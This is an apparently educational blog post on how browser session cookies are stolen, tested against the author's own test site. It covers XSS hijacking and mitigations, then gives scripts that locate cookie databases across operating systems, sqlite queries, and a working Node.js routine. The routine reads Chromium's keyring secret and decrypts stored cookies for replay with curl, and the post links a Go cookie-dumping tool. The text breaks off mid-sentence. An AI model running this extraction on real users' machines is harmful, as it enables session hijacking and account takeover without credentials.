In this post, I’ll cover:
- What cookies are
- When and why cookies are used
- How cookies can be stolen
- Common methods used to steal cookies
- A simple example demonstrating how cookies can be extracted from my two most-used browsers, Firefox Developer Edition and Chromium, using an interesting filesystem-level method
- A small Go tool that automates the whole extraction flow on Linux — database discovery, copying, decryption, and structured JSON output — plus a look at how real-world malware turns this same flow into network exfiltration
For this example, I’ll use a test website I created for this purpose: https://trelea-dashboard.fly.dev/. The goal of the experiment is to demonstrate how a stolen session cookie could be used to authenticate to a user’s account without their credentials. I’m conducting this experiment on my own system (Arch Linux), although similar techniques may apply to other operating systems with some variations.
Note on the stack used in this article: the test website is built with Node.js / Express, so the session cookie it sets is named connect.sid (the default name used by express-session). Keep in mind that this name is specific to that stack—as explained in section 1.1, other technologies use different session cookie names (PHPSESSID, JSESSIONID, .AspNetCore.Session, etc.). The technique shown here works exactly the same way regardless of the cookie name used.
This is an educational experiment conducted on my own system and test website. It is not intended to facilitate digital fraud.
1. What Are Cookies?
Cookies are small pieces of data stored by a browser on the client side and exchanged with a server when needed. In a typical server-side session setup, the actual session data—for example, a JSON object or other data—is stored on the server. The client stores a session identifier (SID) that refers to the corresponding session state on the server.
1.1. Session Cookie Names Depend on the Technology
It's worth noting that the name of the session cookie is not standardized in any way—it depends entirely on the server technology or framework that sets it. The cookie name you see in your browser's developer tools will differ from stack to stack:
| Stack / Framework | Typical session cookie name |
|---|---|
Node.js / Express (express-session) | connect.sid |
| PHP | PHPSESSID |
| ASP.NET (classic) | ASP.NET_SessionId |
| ASP.NET Core | .AspNetCore.Session |
| Java / Jakarta EE (Tomcat, Spring, etc.) | JSESSIONID |
| Ruby on Rails | _myapp_session (app-specific) |
| Go (e.g., gorilla/sessions) | developer-defined |
So while the concept of a session identifier is universal, a connect.sid cookie tells you the backend is likely Node.js/Express, a PHPSESSID points to PHP, a JSESSIONID to Java, and so on.
Large companies often go further and define their own completely custom cookie names. Facebook is a well-known example—it doesn't use a standard session cookie name at all, but instead sets its own cookies:
-
c_user— contains the authenticated user's unique ID (the profile ID). -
xs— the main session token (contains the session ID, security flags, and login state). Together withc_user, it is essential for session identification. -
datr— identifies the browser/device the request is made from, used to detect suspicious activity or fraud attempts. -
fr— an encrypted cookie used by Facebook for authentication and advertising targeting/tracking. -
sb— used for browser identification and improving login security. -
presence— contains chat presence state (online/offline, time of last activity, etc.). -
dpr— Device Pixel Ratio (screen resolution information for rendering). -
wd— browser window dimensions (width x height, e.g., 800x963), used for adapting the interface. -
ps_l/ps_n— internal flags used for the state of various modules or interface features.
This matters for the rest of the article: when we go looking for a session cookie in a browser's local database, the value we're after could be stored under any of these names—there is no single "universal" cookie to search for.
2. What Are Cookies Used For?
Many people assume that cookies are used only for advertising and tracking. Non-technical users often associate them exclusively with cookie-consent banners. However, cookies have many different use cases.
Backend developers use cookies for a variety of purposes, including:
- Advertising and tracking
- User authentication
- E-commerce shopping carts
- User identification and language/locale preferences
- Multi-step forms and checkout flows
As mentioned earlier, in a typical server-side session setup, the client holds a long identifier that points to a server-side session store. The user’s machine does not store the raw session data—only the identifier, along with its expiration time and properties such as security flags.
3. How Can Cookies Be Stolen?
Method A: Cookie Hijacking (Client/Web Level)
One common way cookies can be stolen is through cookie hijacking, which attackers may use to gain unauthorized access, tamper with analytics, or steal data.
How does cookie hijacking work? Client-side JavaScript—for example, code executed in the browser console or injected through a Cross-Site Scripting (XSS) vulnerability—can read cookies that are accessible to JavaScript through document.cookie. The script can then send the accessible cookie values to a server controlled by an attacker.
How to reduce the risk of cookie hijacking:
Set appropriate security attributes on cookies in production:
-
HttpOnly=true: Prevents client-side JavaScript from reading the cookie. -
Secure=true: Ensures the cookie is sent only over encrypted HTTPS connections. -
SameSite=StrictorSameSite=Lax: Controls when cookies are sent with cross-site requests, helping mitigate Cross-Site Request Forgery (CSRF) and some cross-site data-leakage risks.
Method B: Filesystem Extraction
Another method involves accessing browser data at the filesystem level. This approach does not require JavaScript execution, browser-console commands, or web-based injection scripts.
Where Are Cookies Stored Locally?
Browsers store cookies locally, commonly in an SQLite database. How cookie values are protected on disk varies by browser, operating system, and browser version.
- Chrome / Chromium / Brave: Cookie values are generally protected using encryption mechanisms.
- Firefox / Firefox Developer Edition: Cookie records are stored in a local database. Whether values are encrypted at rest depends on the browser’s security model and configuration.
4. Local Database Locations Across Operating Systems
Here are the scripts for locating browser-cookie database files on different operating systems:
find-browser-cookies.shfind-browser-cookies-mac.shFind-BrowserCookies.ps1
Here is the code for each script:
Linux (find-browser-cookies.sh):
#!/usr/bin/env bash # Print Markdown table headers printf "| %-22s | %-75s |\n" "Browser" "Cookie File Path" printf "|-%-22s-|-%-75s-|\n" "----------------------" "---------------------------------------------------------------------------" # 1. Firefox & Firefox Developer Edition (cookies.sqlite) find ~/.mozilla ~/.var/app ~/snap -type f -name "cookies.sqlite" 2>/dev/null | while read -r filepath; do browser="Firefox" if [[ "$filepath" == *".dev-edition"* ]] || [[ "$filepath" == *"firefox-dev-edition"* ]]; then browser="Firefox Dev Edition" elif [[ "$filepath" == *"/snap/firefox/"* ]]; then browser="Firefox (Snap)" elif [[ "$filepath" == *"/org.mozilla.firefox/"* ]]; then browser="Firefox (Flatpak)" fi printf "| %-22s | %-75s |\n" "$browser" "$filepath" done # 2. Chrome, Chromium, and Brave (Cookies) find ~/.config ~/.var/app ~/snap -type f -name "Cookies" 2>/dev/null | while read -r filepath; do browser="" if [[ "$filepath" == *"/google-chrome"* ]]; then browser="Google Chrome" elif [[ "$filepath" == *"/chromium"* ]]; then browser="Chromium" elif [[ "$filepath" == *"/BraveSoftware"* ]] || [[ "$filepath" == *"/com.brave.Browser"* ]]; then browser="Brave" fi if [[ -n "$browser" ]]; then printf "| %-22s | %-75s |\n" "$browser" "$filepath" fi done macOS (find-browser-cookies-mac.sh):
#!/usr/bin/env bash printf "| %-22s | %-75s |\n" "Browser" "Cookie File Path" printf "|-%-22s-|-%-75s-|\n" "----------------------" "---------------------------------------------------------------------------" # 1. Firefox & Firefox Developer Edition find "$HOME/Library/Application Support/Firefox" "$HOME/Library/Application Support/Firefox Developer Edition" -type f -name "cookies.sqlite" 2>/dev/null | while read -r filepath; do browser="Firefox" if [[ "$filepath" == *".dev-edition"* ]] || [[ "$filepath" == *"Firefox Developer Edition"* ]]; then browser="Firefox Dev Edition" fi printf "| %-22s | %-75s |\n" "$browser" "$filepath" done # 2. Google Chrome, Chromium, and Brave find "$HOME/Library/Application Support" -maxdepth 5 -type f -name "Cookies" 2>/dev/null | while read -r filepath; do browser="" if [[ "$filepath" == *"/Google/Chrome"* ]]; then browser="Google Chrome" elif [[ "$filepath" == *"/Chromium"* ]]; then browser="Chromium" elif [[ "$filepath" == *"/BraveSoftware"* ]]; then browser="Brave" fi if [[ -n "$browser" ]]; then printf "| %-22s | %-75s |\n" "$browser" "$filepath" fi done Windows (PowerShell) (Find-BrowserCookies.ps1):
$results = @() # 1. Firefox & Firefox Developer Edition (Gecko) $firefoxRoot = "$env:APPDATA\Mozilla\Firefox" if (Test-Path $firefoxRoot) { Get-ChildItem -Path $firefoxRoot -Filter "cookies.sqlite" -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object { $browser = "Firefox" if ($_.FullName -like "*.dev-edition*") { $browser = "Firefox Dev Edition" } $results += [PSCustomObject]@{ "Browser" = $browser "Cookie File Path" = $_.FullName } } } # 2. Google Chrome, Chromium, and Brave $localAppData = "$env:LOCALAPPDATA" Get-ChildItem -Path $localAppData -Filter "Cookies" -Recurse -File -Depth 5 -ErrorAction SilentlyContinue | ForEach-Object { $path = $_.FullName $browser = $null if ($path -like "*\Google\Chrome\*") { $browser = "Google Chrome" } elseif ($path -like "*\Chromium\*") { $browser = "Chromium" } elseif ($path -like "*\BraveSoftware\Brave-Browser\*") { $browser = "Brave" } if ($browser) { $results += [PSCustomObject]@{ "Browser" = $browser "Cookie File Path" = $path } } } # Output formatted table $results | Format-Table -AutoSize For this experiment, I’ll continue with Chromium.
Scope of the practical example: the walkthrough below uses Chromium on Linux specifically, and the backend being targeted is a Node.js/Express application, so the session cookie we will locate and extract is named connect.sid. However, the overall flow is the same for any browser, any operating system, and any backend stack: locate the browser’s local cookie database, make a copy, inspect it, find the target site’s cookie record, and decrypt the stored value. What changes between browsers and operating systems is the database location (handled by the scripts above) and how the cookie values are encrypted and protected on disk—while what changes between backend stacks is only the name of the session cookie you search for (see section 1.1).
4.1. Sign In to the Test Website
The first step is to sign in to the test website. I sign in to my test dashboard at https://trelea-dashboard.fly.dev/. The website uses cookie-based, session-based authentication, so once I’m authenticated, the browser stores a session cookie that will later appear in the local cookies database.
The following images show the login page and the authenticated dashboard:
4.2. Find the Chromium Cookies Database
Now take one of the three scripts from the previous section — according to your operating system — and run it. They do the same job on each platform:
- Linux:
find-browser-cookies.sh - macOS:
find-browser-cookies-mac.sh - Windows:
Find-BrowserCookies.ps1
Since my system is Arch Linux, I run the Linux one:
./find-browser-cookies.sh The following image shows the script being run and the resulting path:
The output identifies the Chromium cookies database at:
/home/treleadev/.config/chromium/Default/Cookies
On other operating systems the path will differ (e.g. macOS or Windows profile locations), which is exactly what the other two scripts handle — the rest of the walkthrough is unchanged.
This is the SQLite database file used in the following steps.
4.3. Make a Copy of the Database
The next step is to copy the database to another location. Sometimes, the browser may keep the database open, which can make it difficult to inspect directly. Working with a copy can help avoid interfering with the browser’s active files.
Command:
cp /home/treleadev/.config/chromium/Default/Cookies /tmp/Cookies_copy.sqlite 4.4. Inspect the Tables and Schema
Next, inspect the database to see which tables it contains and how they are structured.
Commands:
# Open the copied database sqlite3 /tmp/Cookies_copy.sqlite # Once inside the sqlite> prompt, list all tables: .tables # View the schema of the main cookies table: .schema cookies The following image shows the database copy being created and the schema being inspected:
The cookies table has the following structure:
CREATE TABLE cookies ( creation_utc INTEGER NOT NULL, host_key TEXT NOT NULL, top_frame_site_key TEXT NOT NULL, name TEXT NOT NULL, value TEXT NOT NULL, encrypted_value BLOB NOT NULL, path TEXT NOT NULL, expires_utc INTEGER NOT NULL, is_secure INTEGER NOT NULL, is_httponly INTEGER NOT NULL, last_access_utc INTEGER NOT NULL, has_expires INTEGER NOT NULL, is_persistent INTEGER NOT NULL, priority INTEGER NOT NULL, samesite INTEGER NOT NULL, source_scheme INTEGER NOT NULL, source_port INTEGER NOT NULL, last_update_utc INTEGER NOT NULL, source_type INTEGER NOT NULL, has_cross_site_ancestor INTEGER NOT NULL ); CREATE UNIQUE INDEX cookies_unique_index ON cookies ( host_key, top_frame_site_key, has_cross_site_ancestor, name, path, source_scheme, source_port ); 4.5. Inspect a Few Rows
Let’s inspect the first 10 rows to see how the data is stored, focusing on the encrypted values.
Command:
SELECT host_key, name, encrypted_value FROM cookies LIMIT 10; The following image shows the output:
As we can see, the encrypted_value column contains protected cookie data. Even though the values are encrypted, they may still be sensitive, so I won’t expose them in the article.
4.6. Find the Website’s Cookie Record
Next, let’s inspect the SQLite database and filter the records for the test website’s domain.
Query 1:
SELECT host_key, name, encrypted_value, is_secure, is_httponly FROM cookies WHERE host_key LIKE '%trelea-dashboard.fly.dev%'; Query 2:
SELECT encrypted_value FROM cookies WHERE host_key LIKE '%trelea-dashboard.fly.dev%'; The value in the encrypted_value column is encrypted.
The following image shows the output:
4.7. Inspect the Encrypted Value
The following command writes the selected encrypted value to a local file named data:
sqlite3 /tmp/Cookies_copy.sqlite "SELECT writefile('data', encrypted_value) FROM cookies WHERE host_key LIKE '%trelea-dashboard.fly.dev%' LIMIT 1;" && cat data 4.8. Understanding the Decryption Step
To interpret Chromium’s encrypted cookie data, it is important to understand how the browser protects secrets on the local system. The exact process depends on the operating system and Chromium version.
On Linux, Chromium may integrate with a system keyring. The command below checks for a stored entry associated with Chromium; do not publish or share any recovered secret:
secret-tool lookup application chromium That command only brings us the key material ("Safe Storage" secret), not the cookie itself. The actual decryption is a two-stage command: first retrieve the key from the keyring (trying chrome and then chromium, since the entry name depends on which Chromium-family browser encrypted the data), then feed the key to a decryption routine that processes the data file we extracted in section 4.7. Here I use Node.js because its crypto module has everything built in:
REAL_PASS=$(secret-tool lookup application chrome) if [ -z "$REAL_PASS" ]; then REAL_PASS=$(secret-tool lookup application chromium) fi CHROMIUM_PASS=$REAL_PASS node -e " const fs = require('fs'); const crypto = require('crypto'); // 1. Derive the 128-bit AES key using PBKDF2 const key = crypto.pbkdf2Sync( process.env.CHROMIUM_PASS || 'peanuts', 'saltysalt', 1, 16, 'sha1' ); // 2. Initialize the AES-128-CBC decipher with an IV of 16 spaces const decipher = crypto.createDecipheriv( 'aes-128-cbc', key, Buffer.alloc(16, ' ') ); // 3. Read the encrypted binary file and slice off the 3-byte header ('v11') const encryptedData = fs.readFileSync('./data').slice(3); // 4. Decrypt the binary buffer const decrypted = Buffer.concat([ decipher.update(encryptedData), decipher.final() ]); // 5. Slice off the 32-byte domain-binding hash and log the string console.log('\n[+] Final Clean Session Cookie:\n' + decrypted.slice(32).toString()); " What this does, step by step — and how it connects back to the theory in sections 5.3 and section 4:
- Key retrieval (the
secret-toolpart). Chromium-family browsers store their "Safe Storage" secret in the DBus Secret Service, under anapplicationattribute matching the browser (chrome,chromium,brave…). If the entry is empty (e.g. no keyring running, or av10cookie), the script silently falls back to the well-known hardcoded passwordpeanuts— Chromium's own legacy default. - Key derivation. The retrieved password is stretched with PBKDF2-HMAC-SHA1, salted with the famous constant
"saltysalt", one iteration, into a 16-byte (128-bit) AES key. This mirrors exactly thederiveChromiumKey()from the Go tool in section 5.3. - Decryption. The blob from
encrypted_valueis AES-128-CBC ciphertext with a constant IV of 16 space characters (0x20). The first 3 bytes of the file (v10/v11) are a version header, not ciphertext — they're sliced off before decrypting. - Hash stripping. On newer Chromium cookie-store schemas (v24+), the decrypted plaintext starts with 32 bytes of
SHA256(host_key)— a domain-binding integrity hash. Slicing those 32 bytes leaves the actual cookie value, ready for use in thecurlfrom section 4.10.
For safety, I'm not publishing the output value of this command — it is a live session credential. The important point for this experiment is that locally stored browser data may contain authentication material, and access to that data can have serious security implications.
The following image shows the output:
4.9. Why a Session Cookie Is Sensitive
A session cookie can act as proof that a user has already authenticated. If an attacker obtains a valid session cookie and the application accepts it, the attacker may be able to access the account without knowing the user’s password.
For that reason, I’m deliberately not publishing the extracted cookie value. Any real session token should be treated like a password: keep it private, invalidate it if it may have been exposed, and avoid placing it in screenshots, logs, or public articles.
4.10. Test Access to a Protected Endpoint
The final part of the experiment is to verify, in a controlled test environment, that the dashboard endpoint requires a valid session. A request can be made with curl, but any session-cookie value should be supplied privately and should never be included in a public article.
Example request using a placeholder. Note that connect.sid is the session cookie name here only because the test dashboard is a Node.js/Express application—on another stack you would substitute the appropriate cookie name instead (PHPSESSID for PHP, JSESSIONID for Java, .AspNetCore.Session for ASP.NET Core, etc., as discussed in section 1.1):
curl -i -X GET "https://trelea-dashboard.fly.dev/dashboard" \ -H "Cookie: connect.sid=<REDACTED_SESSION_COOKIE>" The following image shows the output:
Finally, you can inspect the response locally to check whether it contains your expected test-account username. Avoid publishing response data that could reveal personal information or session credentials.
The following image shows the output:
5. Automating the Whole Flow with a Go Tool
Everything we did by hand in section 4 — discovering the database, copying it, finding the cookie record, decrypting it, and producing a readable result — can be automated. I packaged the whole flow into a small open-source Go tool for Linux:
Repository: https://github.com/trelea/go-cookie-dump-linux
It supports Chrome, Chromium, Brave, Firefox, and Firefox Developer Edition. For each installed browser it produces one JSON file (out/chromium_cookies.json, out/firefox_cookies.json, …) containing every cookie: decrypted where possible, redacted where not.
5.1. Build and Usage
The tool is pure Go (no cgo), so it builds into a single static executable:
make build # -> dist/cookie-dump Or manually:
go build -trimpath -ldflags="-s -w" -o dist/cookie-dump . Usage is a single flag:
./dist/cookie-dump -browser all # every installed browser ./dist/cookie-dump -browser chromium # a single browser ./dist/cookie-dump -browser firefox-dev Browsers that are not installed are silently skipped, and the output directory ./out is created automatically with 0700 permissions. Each JSO...









